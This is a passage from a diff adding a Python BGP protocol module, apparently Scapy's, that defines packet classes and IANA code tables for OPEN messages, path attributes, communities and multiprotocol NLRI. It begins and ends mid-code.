self.authentication_data is None: + length = 0 + else: + length = len(p) - \ + 2 # parameter type (1 byte) - parameter length (1 byte) + packet = p[:1] + chb(length) + if (self.param_type == 2 and self.param_value is not None) or\ + (self.param_type == 1 and self.authentication_data is not None): # noqa: E501 + packet = packet + p[2:] + + return packet + pay + + +# +# OPEN +# + +class BGPOpen(BGP): + """ + OPEN messages are exchanged in order to open a new BGP session. + References: RFC 4271 + """ + + name = "OPEN" + fields_desc = [ + ByteField("version", 4), + ShortField("my_as", 0), + ShortField("hold_time", 0), + IPField("bgp_id", "0.0.0.0"), + FieldLenField( + "opt_param_len", + None, + length_of="opt_params", + fmt="!B" + ), + BGPOptParamPacketListField( + "opt_params", + [], + BGPOptParam, + length_from=lambda p: p.opt_param_len + ) + ] + + def post_build(self, p, pay): + if self.opt_param_len is None: + length = len(p) - 10 # 10 is regular length with no additional + # options + p = p[:9] + struct.pack("!B", length) + p[10:] + return p + pay + + +# +# UPDATE +# + +# +# Path attributes +# + +# +# Dictionaries + +path_attributes = { + 0: "Reserved", + 1: "ORIGIN", # RFC 4271 + 2: "AS_PATH", # RFC 4271 + 3: "NEXT_HOP", # RFC 4271 + 4: "MULTI_EXIT_DISC", # RFC 4271 + 5: "LOCAL_PREF", # RFC 4271 + 6: "ATOMIC_AGGREGATE", # RFC 4271 + 7: "AGGREGATOR", # RFC 4271 + 8: "COMMUNITY", # RFC 1997 + 9: "ORIGINATOR_ID", # RFC 4456 + 10: "CLUSTER_LIST", # RFC 4456 + 11: "DPA (deprecated)", # RFC 6938 + 12: "ADVERTISER (Historic) (deprecated)", # RFC 4223, RFC 6938 + 13: "RCID_PATH / CLUSTER_ID (Historic) (deprecated)", # RFC 4223, RFC 6938 + 14: "MP_REACH_NLRI", # RFC 4760 + 15: "MP_UNREACH_NLRI", # RFC 4760 + 16: "EXTENDED COMMUNITIES", # RFC 4360 + 17: "AS4_PATH", # RFC 6793 + 18: "AS4_AGGREGATOR", # RFC 6793 + 19: "SAFI Specific Attribute (SSA) (deprecated)", # draft-kapoor-nalawade-idr-bgp-ssa-00, # noqa: E501 + # draft-nalawade-idr-mdt-safi-00, draft-wijnands-mt-discovery-00 + 20: "Connector Attribute (deprecated)", # RFC 6037 + 21: "AS_PATHLIMIT (deprecated)", # draft-ietf-idr-as-pathlimit + 22: "PMSI_TUNNEL", # RFC 6514 + 23: "Tunnel Encapsulation Attribute", # RFC 5512 + 24: "Traffic Engineering", # RFC 5543 + 25: "IPv6 Address Specific Extended Community", # RFC 5701 + 26: "AIGP", # RFC 7311 + 27: "PE Distinguisher Labels", # RFC 6514 + 28: "BGP Entropy Label Capability Attribute (deprecated)", # RFC 6790, RFC 7447 # noqa: E501 + 29: "BGP-LS Attribute", # RFC 7752 + 40: "BGP Prefix-SID", # (TEMPORARY - registered 2015-09-30, expires 2016-09-30) # noqa: E501 + # draft-ietf-idr-bgp-prefix-sid + 128: "ATTR_SET", # RFC 6368 + 255: "Reserved for development" +} + +# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xml +attributes_flags = { + 1: 0x40, # ORIGIN + 2: 0x40, # AS_PATH + 3: 0x40, # NEXT_HOP + 4: 0x80, # MULTI_EXIT_DISC + 5: 0x40, # LOCAL_PREF + 6: 0x40, # ATOMIC_AGGREGATE + 7: 0xc0, # AGGREGATOR + 8: 0xc0, # COMMUNITIES (RFC 1997) + 9: 0x80, # ORIGINATOR_ID (RFC 4456) + 10: 0x80, # CLUSTER_LIST (RFC 4456) + 11: 0xc0, # DPA (RFC 6938) + 12: 0x80, # ADVERTISER (RFC 1863, RFC 4223) + 13: 0x80, # RCID_PATH (RFC 1863, RFC 4223) + 14: 0x80, # MP_REACH_NLRI (RFC 4760) + 15: 0x80, # MP_UNREACH_NLRI (RFC 4760) + 16: 0xc0, # EXTENDED_COMMUNITIES (RFC 4360) + 17: 0xc0, # AS4_PATH (RFC 6793) + 18: 0xc0, # AS4_AGGREGATOR (RFC 6793) + 19: 0xc0, # SSA (draft-kapoor-nalawade-idr-bgp-ssa-00) + 20: 0xc0, # Connector (RFC 6037) + 21: 0xc0, # AS_PATHLIMIT (draft-ietf-idr-as-pathlimit) + 22: 0xc0, # PMSI_TUNNEL (RFC 6514) + 23: 0xc0, # Tunnel Encapsulation (RFC 5512) + 24: 0x80, # Traffic Engineering (RFC 5543) + 25: 0xc0, # IPv6 Address Specific Extended Community (RFC 5701) + 26: 0x80, # AIGP (RFC 7311) + 27: 0xc0, # PE Distinguisher Labels (RFC 6514) + 28: 0xc0, # BGP Entropy Label Capability Attribute + 29: 0x80, # BGP-LS Attribute + 40: 0xc0, # BGP Prefix-SID + 128: 0xc0 # ATTR_SET (RFC 6368) +} + + +class BGPPathAttrPacketListField(PacketListField): + """ + PacketListField handling the path attributes (UPDATE message). + """ + + def getfield(self, pkt, s): + lst = [] + length = 0 + + if self.length_from is not None: + length = self.length_from(pkt) + ret = "" + remain = s + if length is not None: + remain, ret = s[:length], s[length:] + + while remain: + # + # Get the path attribute flags + flags = orb(remain[0]) + + attr_len = 0 + if has_extended_length(flags): + attr_len = struct.unpack("!H", remain[2:4])[0] + current = remain[:4 + attr_len] + remain = remain[4 + attr_len:] + else: + attr_len = orb(remain[2]) + current = remain[:3 + attr_len] + remain = remain[3 + attr_len:] + + packet = self.m2i(pkt, current) + lst.append(packet) + + return remain + ret, lst + + +# +# ORIGIN +# + +class BGPPAOrigin(Packet): + + """ + Packet handling the ORIGIN attribute value. + References: RFC 4271 + """ + + name = "ORIGIN" + fields_desc = [ + ByteEnumField("origin", 0, {0: "IGP", 1: "EGP", 2: "INCOMPLETE"})] + + +# +# AS_PATH (2 bytes and 4 bytes) +# + +as_path_segment_types = { + # RFC 4271 + 1: "AS_SET", + 2: "AS_SEQUENCE", + + # RFC 5065 + 3: "AS_CONFED_SEQUENCE", + 4: "AS_CONFED_SET" +} + + +class ASPathSegmentPacketListField(PacketListField): + """ + PacketListField handling AS_PATH segments. + """ + + def getfield(self, pkt, s): + lst = [] + remain = s + + while remain: + # + # Get the segment length + segment_length = orb(remain[1]) + + if bgp_module_conf.use_2_bytes_asn: + current = remain[:2 + segment_length * 2] + remain = remain[2 + segment_length * 2:] + else: + current = remain[:2 + segment_length * 4] + remain = remain[2 + segment_length * 4:] + + packet = self.m2i(pkt, current) + lst.append(packet) + + return remain, lst + + +class BGPPAASPath(Packet): + """ + Packet handling the AS_PATH attribute value (2 bytes ASNs, for old + speakers). + References: RFC 4271, RFC 5065 + """ + + AS_TRANS = 23456 + + class ASPathSegment(Packet): + """ + Provides an implementation for AS_PATH segments with 2 bytes ASNs. + """ + + fields_desc = [ + ByteEnumField("segment_type", 2, as_path_segment_types), + ByteField("segment_length", None), + FieldListField("segment_value", [], ShortField("asn", 0)) + ] + + def post_build(self, p, pay): + segment_len = self.segment_length + if segment_len is None: + segment_len = len(self.segment_value) + p = p[:1] + chb(segment_len) + p[2:] + + return p + pay + + name = "AS_PATH (RFC 4271)" + fields_desc = [ + ASPathSegmentPacketListField("segments", [], ASPathSegment)] + + +class BGPPAAS4BytesPath(Packet): + """ + Packet handling the AS_PATH attribute value (4 bytes ASNs, for new + speakers -> ASNs are encoded as IntFields). + References: RFC 4893 + """ + + class ASPathSegment(Packet): + """ + Provides an implementation for AS_PATH segments with 4 bytes ASNs. + """ + + fields_desc = [ByteEnumField("segment_type", 2, as_path_segment_types), + ByteField("segment_length", None), + FieldListField("segment_value", [], IntField("asn", 0))] + + def post_build(self, p, pay): + segment_len = self.segment_length + if segment_len is None: + segment_len = len(self.segment_value) + p = p[:1] + chb(segment_len) + p[2:] + + return p + pay + + name = "AS_PATH (RFC 4893)" + fields_desc = [ + ASPathSegmentPacketListField("segments", [], ASPathSegment)] + + +# +# NEXT_HOP +# + +class BGPPANextHop(Packet): + """ + Packet handling the NEXT_HOP attribute value. + References: RFC 4271 + """ + + name = "NEXT_HOP" + fields_desc = [IPField("next_hop", "0.0.0.0")] + + +# +# MULTI_EXIT_DISC +# + +class BGPPAMultiExitDisc(Packet): + """ + Packet handling the MULTI_EXIT_DISC attribute value. + References: RFC 4271 + """ + + name = "MULTI_EXIT_DISC" + fields_desc = [IntField("med", 0)] + + +# +# LOCAL_PREF +# + +class BGPPALocalPref(Packet): + """ + Packet handling the LOCAL_PREF attribute value. + References: RFC 4271 + """ + + name = "LOCAL_PREF" + fields_desc = [IntField("local_pref", 0)] + + +# +# ATOMIC_AGGREGATE +# + +class BGPPAAtomicAggregate(Packet): + """ + Packet handling the ATOMIC_AGGREGATE attribute value. + References: RFC 4271 + """ + + name = "ATOMIC_AGGREGATE" + + +# +# AGGREGATOR +# + +class BGPPAAggregator(Packet): + """ + Packet handling the AGGREGATOR attribute value. + References: RFC 4271 + """ + + name = "AGGREGATOR" + fields_desc = [ShortField("aggregator_asn", 0), + IPField("speaker_address", "0.0.0.0")] + + +# +# COMMUNITIES +# + +# http://www.iana.org/assignments/bgp-well-known-communities/bgp-well-known-communities.xml +well_known_communities = { + 0xFFFFFF01: "NO_EXPORT", # RFC 1997 + 0xFFFFFF02: "NO_ADVERTISE", # RFC 1997 + 0xFFFFFF03: "NO_EXPORT_SUBCONFED", # RFC 1997 + 0xFFFFFF04: "NOPEER", # RFC 3765 + 0xFFFF0000: "planned-shut", # draft-francois-bgp-gshut + 0xFFFF0001: "ACCEPT-OWN", # RFC 7611 + 0xFFFF0002: "ROUTE_FILTER_TRANSLATED_v4", # draft-l3vpn-legacy-rtc + 0xFFFF0003: "ROUTE_FILTER_v4", # draft-l3vpn-legacy-rtc + 0xFFFF0004: "ROUTE_FILTER_TRANSLATED_v6", # draft-l3vpn-legacy-rtc + 0xFFFF0005: "ROUTE_FILTER_v6", # draft-l3vpn-legacy-rtc + 0xFFFF0006: "LLGR_STALE", # draft-uttaro-idr-bgp-persistence + 0xFFFF0007: "NO_LLGR", # draft-uttaro-idr-bgp-persistence + 0xFFFF0008: "accept-own-nexthop", # Ashutosh_Grewal +} + + +class BGPPACommunity(Packet): + """ + Packet handling the COMMUNITIES attribute value. + References: RFC 1997 + """ + + name = "COMMUNITIES" + fields_desc = [IntEnumField("community", 0, well_known_communities)] + + +# +# ORIGINATOR_ID +# + +class BGPPAOriginatorID(Packet): + """ + Packet handling the ORIGINATOR_ID attribute value. + References: RFC 4456 + """ + + name = "ORIGINATOR_ID" + fields_desc = [IPField("originator_id", "0.0.0.0")] + + +# +# CLUSTER_LIST +# + +class BGPPAClusterList(Packet): + """ + Packet handling the CLUSTER_LIST attribute value. + References: RFC 4456 + """ + + name = "CLUSTER_LIST" + fields_desc = [ + FieldListField("cluster_list", [], IntField("cluster_id", 0))] + + +# +# EXTENDED COMMUNITIES (RFC 4360) +# + +# BGP Transitive Extended Community Types +# http://www.iana.org/assignments/bgp-extended-communities/bgp-extended-communities.xhtml#transitive +_ext_comm_types = { + 0x00: "Transitive Two-Octet AS-Specific Extended Community", # RFC 7153 + 0x01: "Transitive IPv4-Address-Specific Extended Community", # RFC 7153 + 0x02: "Transitive Four-Octet AS-Specific Extended Community", # RFC 7153 + 0x03: "Transitive Opaque Extended Community", # RFC 7153 + 0x04: "QoS Marking", # Thomas_Martin_Knoll + 0x05: "CoS Capability", # Thomas_Martin_Knoll + 0x06: "EVPN", # RFC 7153 + 0x07: "Unassigned", + 0x08: "Flow spec redirect/mirror to IP next-hop", # draft-simpson-idr-flowspec-redirect # noqa: E501 + + # BGP Non-Transitive Extended Community Types + 0x40: "Non-Transitive Two-Octet AS-Specific Extended Community", # RFC 7153 # noqa: E501 + 0x41: "Non-Transitive IPv4-Address-Specific Extended Community", # RFC 7153 # noqa: E501 + 0x42: "Non-Transitive Four-Octet AS-Specific Extended Community", # RFC 7153 # noqa: E501 + 0x43: "Non-Transitive Opaque Extended Community", # RFC 7153 + 0x44: "QoS Marking", # Thomas_Martin_Knoll + + 0x80: "Generic Transitive Experimental Use Extended Community", # RFC 7153 + 0x81: "Generic Transitive Experimental Use Extended Community Part 2", # RFC 7674 # noqa: E501 + 0x82: "Generic Transitive Experimental Use Extended Community Part 3", # RFC 7674 # noqa: E501 +} + +# EVPN Extended Community Sub-Types +_ext_comm_evpn_subtypes = { + 0x00: "MAC Mobility", # RFC 7432 + 0x01: "ESI Label", # RFC 7432 + 0x02: "ES-Import Route Target", # RFC 7432 + 0x03: "EVPN Router\"s MAC Extended Community", + # draft-sajassi-l2vpn-evpn-inter-subnet-forwarding + 0x04: "Layer 2 Extended Community", # draft-ietf-bess-evpn-vpws + 0x05: "E-TREE Extended Community", # draft-ietf-bess-evpn-etree + 0x06: "DF Election Extended Community", # draft-ietf-bess-evpn-df-election + 0x07: "I-SID Extended Community", # draft-sajassi-bess-evpn-virtual-eth-segment # noqa: E501 +} + +# Transitive Two-Octet AS-Specific Extended Community Sub-Types +_ext_comm_trans_two_octets_as_specific_subtypes = { + 0x02: "Route Target", # RFC 4360 + 0x03: "Route Origin", # RFC 4360 + 0x04: "Unassigned", # RFC 4360 + 0x05: "OSPF Domain Identifier", # RFC 4577 + 0x08: "BGP Data Collection", # RFC 4384 + 0x09: "Source AS", # RFC 6514 + 0x0a: "L2VPN Identifier", # RFC 6074 + 0x0010: "Cisco VPN-Distinguisher", # Eric_Rosen +} + +# Non-Transitive Two-Octet AS-Specific Extended Community Sub-Types +_ext_comm_non_trans_two_octets_as_specific_subtypes = { + 0x04: "Link Bandwidth Extended Community", # draft-ietf-idr-link-bandwidth-00 # noqa: E501 + 0x80: "Virtual-Network Identifier Extended Community", + # draft-drao-bgp-l3vpn-virtual-network-overlays +} + +# Transitive Four-Octet AS-Specific Extended Community Sub-Types +_ext_comm_trans_four_octets_as_specific_subtypes = { + 0x02: "Route Target", # RFC 5668 + 0x03: "Route Origin", # RFC 5668 + 0x04: "Generic", # draft-ietf-idr-as4octet-extcomm-generic-subtype + 0x05: "OSPF Domain Identifier", # RFC 4577 + 0x08: "BGP Data Collection", # RFC 4384 + 0x09: "Source AS", # RFC 6514 + 0x10: "Cisco VPN Identifier", # Eric_Rosen +} + +# Non-Transitive Four-Octet AS-Specific Extended Community Sub-Types +_ext_comm_non_trans_four_octets_as_specific_subtypes = { + 0x04: "Generic", # draft-ietf-idr-as4octet-extcomm-generic-subtype +} + +# Transitive IPv4-Address-Specific Extended Community Sub-Types +_ext_comm_trans_ipv4_addr_specific_subtypes = { + 0x02: "Route Target", # RFC 4360 + 0x03: "Route Origin", # RFC 4360 + 0x05: "OSPF Domain Identifier", # RFC 4577 + 0x07: "OSPF Route ID", # RFC 4577 + 0x0a: "L2VPN Identifier", # RFC 6074 + 0x0b: "VRF Route Import", # RFC 6514 + 0x0c: "Flow-spec Redirect to IPv4", # draft-ietf-idr-flowspec-redirect + 0x10: "Cisco VPN-Distinguisher", # Eric_Rosen + 0x12: "Inter-Area P2MP Segmented Next-Hop", # RFC 7524 +} + +# Non-Transitive IPv4-Address-Specific Extended Community Sub-Types +_ext_comm_non_trans_ipv4_addr_specific_subtypes = {} + +# Transitive Opaque Extended Community Sub-Types +_ext_comm_trans_opaque_subtypes = { + 0x01: "Cost Community", # draft-ietf-idr-custom-decision + 0x03: "CP-ORF", # RFC 7543 + 0x04: "Extranet Source Extended Community", # RFC 7900 + 0x05: "Extranet Separation Extended Community", # RFC 7900 + 0x06: "OSPF Route Type", # RFC 4577 + 0x07: "Additional PMSI Tunnel Attribute Flags", # RFC 7902 + 0x0b: "Color Extended Community", # RFC 5512 + 0x0c: "Encapsulation Extended Community", # RFC 5512 + 0x0d: "Default Gateway", # Yakov_Rekhter + 0x0e: "Point-to-Point-to-Multipoint (PPMP) Label", # Rishabh_Parekh + 0x13: "Route-Target Record", # draft-ietf-bess-service-chaining + 0x14: "Consistent Hash Sort Order", # draft-ietf-bess-service-chaining +} + +# Non-Transitive Opaque Extended Community Sub-Types +_ext_comm_non_trans_opaque_subtypes = { + 0x00: "BGP Origin Validation State", # draft-ietf-sidr-origin-validation-signaling # noqa: E501 + 0x01: "Cost Community", # draft-ietf-idr-custom-decision +} + +# Generic Transitive Experimental Use Extended Community Sub-Types +_ext_comm_generic_transitive_exp_subtypes = { + 0x00: "OSPF Route Type (deprecated)", # RFC 4577 + 0x01: "OSPF Router ID (deprecated)", # RFC 4577 + 0x05: "OSPF Domain Identifier (deprecated)", # RFC 4577 + 0x06: "Flow spec traffic-rate", # RFC 5575 + 0x07: "Flow spec traffic-action", # RFC 5575 + 0x08: "Flow spec redirect AS-2byte format", # RFC 5575, RFC 7674 + 0x09: "Flow spec traffic-remarking", # RFC 5575 + 0x0a: "Layer2 Info Extended Community", # RFC 4761 + 0x0b: "E-Tree Info", # RFC 7796 +} + +# Generic Transitive Experimental Use Extended Community Part 2 Sub-Types +_ext_comm_generic_transitive_exp_part2_subtypes = { + 0x08: "Flow spec redirect IPv4 format", # RFC 7674 +} + +# Generic Transitive Experimental Use Extended Community Part 3 Sub-Types +_ext_comm_generic_transitive_exp_part3_subtypes = { + 0x08: "Flow spec redirect AS-4byte format", # RFC 7674 +} + +# Traffic Action Fields +_ext_comm_traffic_action_fields = { + 47: "Terminal Action", # RFC 5575 + 46: "Sample", # RFC 5575 +} + +# Transitive IPv6-Address-Specific Extended Community Types +_ext_comm_trans_ipv6_addr_specific_types = { + 0x0002: "Route Target", # RFC 5701 + 0x0003: "Route Origin", # RFC 5701 + 0x0004: "OSPFv3 Route Attributes (DEPRECATED)", # RFC 6565 + 0x000b: "VRF Route Import", # RFC 6515, RFC 6514 + 0x000c: "Flow-spec Redirect to IPv6", # draft-ietf-idr-flowspec-redirect-ip # noqa: E501 + 0x0010: "Cisco VPN-Distinguisher", # Eric_Rosen + 0x0011: "UUID-based Route Target", # Dhananjaya_Rao + 0x0012: "Inter-Area P2MP Segmented Next-Hop", # RFC 7524 +} + +# Non-Transitive IPv6-Address-Specific Extended Community Types +_ext_comm_non_trans_ipv6_addr_specific_types = {} + + +_ext_comm_subtypes_classes = { + 0x00: _ext_comm_trans_two_octets_as_specific_subtypes, + 0x01: _ext_comm_trans_ipv4_addr_specific_subtypes, + 0x02: _ext_comm_trans_four_octets_as_specific_subtypes, + 0x03: _ext_comm_trans_opaque_subtypes, + 0x06: _ext_comm_evpn_subtypes, + 0x40: _ext_comm_non_trans_two_octets_as_specific_subtypes, + 0x41: _ext_comm_non_trans_ipv4_addr_specific_subtypes, + 0x42: _ext_comm_non_trans_four_octets_as_specific_subtypes, + 0x43: _ext_comm_non_trans_opaque_subtypes, + 0x80: _ext_comm_generic_transitive_exp_subtypes, + 0x81: _ext_comm_generic_transitive_exp_part2_subtypes, + 0x82: _ext_comm_generic_transitive_exp_part3_subtypes, +} + + +# +# Extended Community "templates" +# + +class BGPPAExtCommTwoOctetASSpecific(Packet): + """ + Packet handling the Two-Octet AS Specific Extended Community attribute + value. + References: RFC 4360 + """ + + name = "Two-Octet AS Specific Extended Community" + fields_desc = [ + ShortField("global_administrator", 0), IntField("local_administrator", 0)] # noqa: E501 + + +class BGPPAExtCommFourOctetASSpecific(Packet): + """ + Packet handling the Four-Octet AS Specific Extended Community + attribute value. + References: RFC 5668 + """ + + name = "Four-Octet AS Specific Extended Community" + fields_desc = [ + IntField("global_administrator", 0), ShortField("local_administrator", 0)] # noqa: E501 + + +class BGPPAExtCommIPv4AddressSpecific(Packet): + """ + Packet handling the IPv4 Address Specific Extended Community attribute + value. + References: RFC 4360 + """ + + name = "IPv4 Address Specific Extended Community" + fields_desc = [ + IntField("global_administrator", 0), ShortField("local_administrator", 0)] # noqa: E501 + + +class BGPPAExtCommOpaque(Packet): + """ + Packet handling the Opaque Extended Community attribute value. + References: RFC 4360 + """ + + name = "Opaque Extended Community" + fields_desc = [StrFixedLenField("value", "", length=6)] + + +# +# FlowSpec related extended communities +# + +class BGPPAExtCommTrafficRate(Packet): + """ + Packet handling the (FlowSpec) "traffic-rate" extended community. + References: RFC 5575 + """ + + name = "FlowSpec traffic-rate extended community" + fields_desc = [ + ShortField("id", 0), + IEEEFloatField("rate", 0) + ] + + +class BGPPAExtCommTrafficAction(Packet): + """ + Packet handling the (FlowSpec) "traffic-action" extended community. + References: RFC 5575 + """ + + name = "FlowSpec traffic-action extended community" + fields_desc = [ + BitField("reserved", 0, 46), + BitField("sample", 0, 1), + BitField("terminal_action", 0, 1) + ] + + +class BGPPAExtCommRedirectAS2Byte(Packet): + """ + Packet handling the (FlowSpec) "redirect AS-2byte" extended community + (RFC 7674). + References: RFC 7674 + """ + + name = "FlowSpec redirect AS-2byte extended community" + fields_desc = [ + ShortField("asn", 0), + IntField("value", 0) + ] + + +class BGPPAExtCommRedirectIPv4(Packet): + """ + Packet handling the (FlowSpec) "redirect IPv4" extended community. + (RFC 7674). + References: RFC 7674 + """ + + name = "FlowSpec redirect IPv4 extended community" + fields_desc = [ + IntField("ip_addr", 0), + ShortField("value", 0) + ] + + +class BGPPAExtCommRedirectAS4Byte(Packet): + """ + Packet handling the (FlowSpec) "redirect AS-4byte" extended community. + (RFC 7674). + References: RFC 7674 + """ + + name = "FlowSpec redirect AS-4byte extended community" + fields_desc = [ + IntField("asn", 0), + ShortField("value", 0) + ] + + +class BGPPAExtCommTrafficMarking(Packet): + """ + Packet handling the (FlowSpec) "traffic-marking" extended community. + References: RFC 5575 + """ + + name = "FlowSpec traffic-marking extended community" + fields_desc = [ + BitEnumField("dscp", 48, 48, _ext_comm_traffic_action_fields) + ] + + +_ext_high_low_dict = { + BGPPAExtCommTwoOctetASSpecific: (0x00, 0x00), + BGPPAExtCommIPv4AddressSpecific: (0x01, 0x00), + BGPPAExtCommFourOctetASSpecific: (0x02, 0x00), + BGPPAExtCommOpaque: (0x03, 0x00), + BGPPAExtCommTrafficRate: (0x80, 0x06), + BGPPAExtCommTrafficAction: (0x80, 0x07), + BGPPAExtCommRedirectAS2Byte: (0x80, 0x08), + BGPPAExtCommTrafficMarking: (0x80, 0x09), + BGPPAExtCommRedirectIPv4: (0x81, 0x08), + BGPPAExtCommRedirectAS4Byte: (0x82, 0x08), +} + + +class _ExtCommValuePacketField(PacketField): + """ + PacketField handling Extended Communities "value parts". + """ + + __slots__ = ["type_from"] + + def __init__(self, name, default, cls, remain=0, type_from=(0, 0)): + PacketField.__init__(self, name, default, cls, remain) + self.type_from = type_from + + def m2i(self, pkt, m): + ret = None + type_high, type_low = self.type_from(pkt) + + if type_high == 0x00 or type_high == 0x40: + # Two-Octet AS Specific Extended Community + ret = BGPPAExtCommTwoOctetASSpecific(m) + + elif type_high == 0x01 or type_high == 0x41: + # IPv4 Address Specific + ret = BGPPAExtCommIPv4AddressSpecific(m) + + elif type_high == 0x02 or type_high == 0x42: + # Four-octet AS Specific Extended Community + ret = BGPPAExtCommFourOctetASSpecific(m) + + elif type_high == 0x03 or type_high == 0x43: + # Opaque + ret = BGPPAExtCommOpaque(m) + + elif type_high == 0x80: + # FlowSpec + if type_low == 0x06: + ret = BGPPAExtCommTrafficRate(m) + elif type_low == 0x07: + ret = BGPPAExtCommTrafficAction(m) + elif type_low == 0x08: + ret = BGPPAExtCommRedirectAS2Byte(m) + elif type_low == 0x09: + ret = BGPPAExtCommTrafficMarking(m) + + elif type_high == 0x81: + # FlowSpec + if type_low == 0x08: + ret = BGPPAExtCommRedirectIPv4(m) + + elif type_high == 0x82: + # FlowSpec + if type_low == 0x08: + ret = BGPPAExtCommRedirectAS4Byte(m) + + else: + ret = conf.raw_layer(m) + + return ret + + +class BGPPAIPv6AddressSpecificExtComm(Packet): + """ + Provides an implementation of the IPv6 Address Specific Extended + Community attribute. This attribute is not defined using the existing + BGP Extended Community attribute (see the RFC 5701 excerpt below). + References: RFC 5701 + """ + + name = "IPv6 Address Specific Extended Community" + fields_desc = [ + IP6Field("global_administrator", "::"), ShortField("local_administrator", 0)] # noqa: E501 + + +def _get_ext_comm_subtype(type_high): + """ + Returns a ByteEnumField with the right sub-types dict for a given community. # noqa: E501 + http://www.iana.org/assignments/bgp-extended-communities/bgp-extended-communities.xhtml + """ + + return _ext_comm_subtypes_classes.get(type_high, {}) + + +class _TypeLowField(ByteField): + """ + Field used to retrieve "dynamically" the right sub-type dict. + """ + + __slots__ = ["enum_from"] + + def __init__(self, name, default, enum_from=None): + ByteField.__init__(self, name=name, default=default) + self.enum_from = enum_from + + def i2repr(self, pkt, i): + enum = self.enum_from(pkt) + return enum.get(i, i) + + +class BGPPAExtCommunity(Packet): + """ + Provides an implementation of the Extended Communities attribute. + References: RFC 4360 + """ + + name = "EXTENDED_COMMUNITY" + fields_desc = [ + ByteEnumField("type_high", 0, _ext_comm_types), + _TypeLowField( + "type_low", + None, + enum_from=lambda x: _get_ext_comm_subtype(x.type_high) + ), + _ExtCommValuePacketField( + "value", + None, + Packet, + type_from=lambda x: (x.type_high, x.type_low) + ) + ] + + def post_build(self, p, pay): + if self.value is None: + p = p[:2] + if self.type_low is None and self.value is not None: + high, low = _ext_high_low_dict.get(self.value.__class__, (0x00, 0x00)) # noqa: E501 + p = chb(high) + chb(low) + p[2:] + return p + pay + + +class _ExtCommsPacketListField(PacketListField): + """ + PacketListField handling a list of extended communities. + """ + + def getfield(self, pkt, s): + lst = [] + length = len(s) + remain = s[:length] + + while remain: + current = remain[:8] + remain = remain[8:] + packet = self.m2i(pkt, current) + lst.append(packet) + + return remain, lst + + +class BGPPAExtComms(Packet): + """ + Packet handling the multiple extended communities. + """ + + name = "EXTENDED_COMMUNITIES" + fields_desc = [ + _ExtCommsPacketListField( + "extended_communities", + [], + BGPPAExtCommunity + ) + ] + + +class MPReachNLRIPacketListField(PacketListField): + """ + PacketListField handling the AFI specific part (except for the length of + Next Hop Network Address field, which is not AFI specific) of the + MP_REACH_NLRI attribute. + """ + + def getfield(self, pkt, s): + lst = [] + remain = s + + # IPv6 + if pkt.afi == 2: + if pkt.safi == 1: + # BGPNLRI_IPv6 + while remain: + mask = orb(remain[0]) + length_in_bytes = (mask + 7) // 8 + current = remain[:length_in_bytes + 1] + remain = remain[length_in_bytes + 1:] + prefix = BGPNLRI_IPv6(current) + lst.append(prefix) + + return remain, lst + + +class BGPPAMPReachNLRI(Packet): + """ + Packet handling the MP_REACH_NLRI attribute value, for non IPv6 + AFI. + References: RFC 4760 + """ + + name = "MP_REACH_NLRI" + fields_desc = [ + ShortEnumField("afi", 0, address_family_identifiers), + ByteEnumField("safi", 0, subsequent_afis), + ByteField("nh_addr_len", 0), + ConditionalField(IPField("nh_v4_addr", "0.0.0.0"), + lambda x: x.afi == 1 and x.nh_addr_len == 4), + ConditionalField(IP6Field("nh_v6_addr", "::"), + lambda x: x.afi == 2 and x.nh_addr_len == 16), + ConditionalField(IP6Field("nh_v6_global", "::"), + lambda x: x.afi == 2 and x.nh_addr_len == 32), + ConditionalField(IP6Field("nh_v6_link_local", "::"), + lambda x: x.afi == 2 and x.nh_addr_len == 32), + ByteField("reserved", 0), + MPReachNLRIPacketListField("nlri", [], Packet)] + + def post_build(self, p, pay): + if self.nlri is None: + p = p[:3] + + return p + pay + + +# +# MP_UNREACH_NLRI +# + +class BGPPAMPUnreachNLRI_IPv6(Packet): + """ + Packet handling the MP_UNREACH_NLRI attribute value, for IPv6 AFI. + """ + + name = "MP_UNREACH_NLRI (IPv6 NLRI)" + fields_desc = [BGPNLRIPacketListField( + "withdrawn_routes", [], BGPNLRI_IPv6)] + + +class MPUnreachNLRIPacketField(PacketField): + """ + PacketField handling the AFI specific part of the MP_UNREACH_NLRI + attribute. + """ + + def m2i(self, pkt, m): + ret = None + + if pkt.afi == 2: + ret = BGPPAMPUnreachNLRI_IPv6(m) + else: + ret = conf.raw_layer(m) + + return ret + + +class BGPPAMPUnreachNLRI(Packet): + """ + Packet handling the MP_UNREACH_NLRI attribute value, for non IPv6 + AFI. + References: RFC 4760 + """ + + name = "MP_UNREACH_NLRI" + fields_desc = [ShortEnumField("afi", 0, address_family_identifiers), + ByteEnumField("safi", 0, subsequent_afis), + MPUnreachNLRIPacketField("afi_safi_specific", None, Packet)] + + def post_build(self, p, pay): + if self.afi_safi_specific is None: + p = p[:3] + + return p + pay + + +# +# AS4_PATH +# + +class BGPPAAS4Path(Packet): + """ + Provides an implementation of the AS4_PATH attribute "value part". + References: RFC 4893 + """ + + name = "AS4_PATH" + fields_desc = [ + ByteEnumField( + "segment_type", + 2, + {1: "AS_SET", 2: "AS_SEQUENCE"} + ), + ByteField("segment_length", None), + FieldListField("segment_value", [], IntField("asn", 0)) + ] + + def post_build(self, p, pay): + if self.segment_length is None: + segment_len = len(self.segment_value) + p = p[:1] + chb(segment_len) + p[2:] + + return p + pay + + +# +# AS4_AGGREGATOR +# + +class BGPPAAS4Aggregator(Packet): + """ + Provides an implementation of the AS4_AGGREGATOR attribute + "value part". + References: RFC 4893 + """ + + name = "AS4_AGGREGATOR " + fields_desc = [IntField("aggregator_asn", 0), + IPField("speaker_address", "0.0.0.0")] + + +_path_attr_objects = { + 0x01: "BGPPAOrigin", + 0x02: "BGPPAASPath", # if bgp_module_conf.use_2_bytes_asn, BGPPAAS4BytesPath otherwise # noqa: E501 + 0x03: "BGPPANextHop", + 0x04: "BGPPAMultiExitDisc", + 0x05: "BGPPALocalPref", + 0x06: "BGPPAAtomicAggregate", + 0x07: "BGPPAAggregator", + 0x08: "BGPPACommunity", + 0x09: "BGPPAOriginatorID", + 0x0A: "BGPPAClusterList", + 0x0E: "BGPPAMPReachNLRI", + 0x0F: "BGPPAMPUnreachNLRI", + 0x10: "BGPPAExtComms", + 0x11: "BGPPAAS4Path", + 0x19: "BGPPAIPv6AddressSpecificExtComm" +} + + +class _PathAttrPacketField(PacketField): + """ + PacketField handling path attribute value parts. + """ + + def m2i(self, pkt, m): + ret = None + type_code = pkt.type_code + + # Reserved + if type_code == 0 or type_code == 255: + ret = 